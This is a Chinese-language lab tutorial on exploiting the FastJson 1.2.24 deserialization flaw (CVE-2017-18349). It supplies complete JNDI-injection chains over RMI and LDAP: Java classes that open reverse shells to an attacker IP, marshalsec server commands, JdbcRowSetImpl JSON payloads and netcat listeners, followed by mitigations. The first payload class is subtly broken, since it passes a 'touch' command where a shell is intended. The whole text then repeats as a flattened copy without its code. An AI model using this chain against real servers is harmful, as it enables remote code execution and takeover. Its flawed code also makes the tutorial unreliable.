FastJson1.2.24反序列化漏洞分析(CVE-2017-18349)
字数 1059 2025-08-10 09:16:21

FastJson 1.2.24反序列化漏洞分析(CVE-2017-18349) 教学文档

一、FastJson简介

FastJson是阿里巴巴开发的一个开源Java类库,主要功能包括:

  • 将Java对象转换为JSON格式(序列化)
  • 将JSON字符串转换为Java对象(反序列化)

二、漏洞原理

1. AutoType功能

FastJson使用AutoType功能进行序列化时,JSON字符串会带有@type标记来标识原始类型。在反序列化时:

  1. 解析器会读取@type标记
  2. 尝试将JSON内容反序列化为指定类型的对象
  3. 调用该对象的setter或getter方法

2. 漏洞成因

攻击者可以构造恶意的JSON字符串:

  • 通过@type指定一个攻击类库
  • 利用目标环境中存在的特定类(如com.sun.rowset.JdbcRowSetImpl
  • 结合JNDI注入实现远程代码执行

三、环境搭建

靶场环境

  • Ubuntu靶机IP:192.168.200.47
  • Kali攻击机IP:192.168.200.14

启动步骤

  1. 使用docker-compose启动环境
    docker-compose up -d
    
  2. 查看容器端口(通常为8090)
    docker ps
    
  3. 浏览器访问:http://[靶机IP]:8090

四、漏洞复现(RMI协议利用)

1. 准备恶意类

创建TouchFile.java

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "bash -i >& /dev/tcp/192.168.200.14/7777 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

2. 编译并启动HTTP服务

javac TouchFile.java
python -m http.server 8000

3. 启动RMI服务

使用marshalsec项目启动RMI服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.200.14:8000/#TouchFile" 9999

4. 构造并发送Payload

修改请求为POST,发送以下JSON:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.200.14:9999/TouchFile",
        "autoCommit":true
    }
}

5. 开启监听

nc -lvnp 7777

五、漏洞复现(LDAP协议利用)

1. 准备恶意类

创建Getshell.java

import java.lang.Runtime;
import java.lang.Process;

public class Getshell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.14/8888 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

2. 编译并启动HTTP服务

javac Getshell.java
python -m http.server 9000

3. 启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.200.14:9000/#Getshell" 6666

4. 构造并发送Payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.200.14:6666/Getshell",
        "autoCommit":true
    }
}

5. 开启监听

nc -lvnp 8888

六、常见问题解决

  1. 反弹shell接收不到

    • 检查Java版本(建议使用Java 8u102之前的版本)
    • 确认网络连通性
    • 验证Payload是否正确
  2. 报500错误

    • 检查目标类是否存在
    • 确认RMI/LDAP服务是否正常启动
    • 验证HTTP服务是否可访问

七、防护措施

  1. 升级FastJson到最新安全版本
  2. 关闭AutoType功能
  3. 使用安全的白名单机制
  4. 对输入进行严格过滤

八、技术总结

  1. 该漏洞利用FastJson的反序列化机制
  2. 结合JNDI注入实现RCE
  3. 影响版本:FastJson ≤ 1.2.24
  4. 关键点:@type指定恶意类 + JNDI注入

通过理解原理和实际复现,可以更好地防御此类反序列化漏洞。

FastJson 1.2.24反序列化漏洞分析(CVE-2017-18349) 教学文档 一、FastJson简介 FastJson是阿里巴巴开发的一个开源Java类库,主要功能包括: 将Java对象转换为JSON格式(序列化) 将JSON字符串转换为Java对象(反序列化) 二、漏洞原理 1. AutoType功能 FastJson使用AutoType功能进行序列化时,JSON字符串会带有 @type 标记来标识原始类型。在反序列化时: 解析器会读取 @type 标记 尝试将JSON内容反序列化为指定类型的对象 调用该对象的setter或getter方法 2. 漏洞成因 攻击者可以构造恶意的JSON字符串: 通过 @type 指定一个攻击类库 利用目标环境中存在的特定类(如 com.sun.rowset.JdbcRowSetImpl ) 结合JNDI注入实现远程代码执行 三、环境搭建 靶场环境 Ubuntu靶机IP:192.168.200.47 Kali攻击机IP:192.168.200.14 启动步骤 使用docker-compose启动环境 查看容器端口(通常为8090) 浏览器访问: http://[靶机IP]:8090 四、漏洞复现(RMI协议利用) 1. 准备恶意类 创建 TouchFile.java : 2. 编译并启动HTTP服务 3. 启动RMI服务 使用marshalsec项目启动RMI服务: 4. 构造并发送Payload 修改请求为POST,发送以下JSON: 5. 开启监听 五、漏洞复现(LDAP协议利用) 1. 准备恶意类 创建 Getshell.java : 2. 编译并启动HTTP服务 3. 启动LDAP服务 4. 构造并发送Payload 5. 开启监听 六、常见问题解决 反弹shell接收不到 检查Java版本(建议使用Java 8u102之前的版本) 确认网络连通性 验证Payload是否正确 报500错误 检查目标类是否存在 确认RMI/LDAP服务是否正常启动 验证HTTP服务是否可访问 七、防护措施 升级FastJson到最新安全版本 关闭AutoType功能 使用安全的白名单机制 对输入进行严格过滤 八、技术总结 该漏洞利用FastJson的反序列化机制 结合JNDI注入实现RCE 影响版本:FastJson ≤ 1.2.24 关键点: @type 指定恶意类 + JNDI注入 通过理解原理和实际复现,可以更好地防御此类反序列化漏洞。